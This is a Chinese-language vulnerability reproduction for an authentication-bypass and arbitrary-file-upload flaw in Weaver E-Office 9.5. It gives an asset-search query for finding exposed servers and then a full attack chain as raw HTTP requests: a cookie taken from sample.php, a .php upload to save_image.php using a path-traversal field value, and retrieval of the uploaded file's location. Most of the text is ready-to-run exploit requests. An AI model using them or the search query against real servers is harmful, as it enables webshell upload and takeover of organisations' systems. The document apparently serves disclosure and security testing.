泛微E-Office save_image任意文件上传漏洞
一、漏洞简介
泛微E-Office是一款标准化的协同 OA 办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office 存在权限绕过漏洞（测试页面sample.php），攻击者可以通过此页面获取有效cookie绕过权限校验，利用后台文件上传漏洞上传后门文件获取服务器控制权限。
二、影响版本
- 泛微 E-Office 9.5
三、资产测绘
- hunter
app.name="泛微 e-office OA" - 特征
四、漏洞复现
- 获取有效cookie
GET /sample.php HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
- 利用上一步获取到的cookie上传文件
POST /general/system/interface/theme_set/save_image.php HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymzrNfz1ehkVc9A3Z
Cookie: {cookie}
------WebKitFormBoundarymzrNfz1ehkVc9A3Z
Content-Disposition: form-data; name="image_type"
../../clientTools
------WebKitFormBoundarymzrNfz1ehkVc9A3Z
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
123
------WebKitFormBoundarymzrNfz1ehkVc9A3Z
Content-Disposition: form-data; name="theme_name"
theme3
------WebKitFormBoundarymzrNfz1ehkVc9A3Z--
- 通过获取到的cookie，获取上传文件位置
GET /general/down.php HTTP/1.1
Host: {hostname}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Cookie: {cookie}
Accept-Encoding: gzip
/clientTools/1911928938.php
nuclei脚本
泛微-eoffice-sample-save-image-任意文件上传.yaml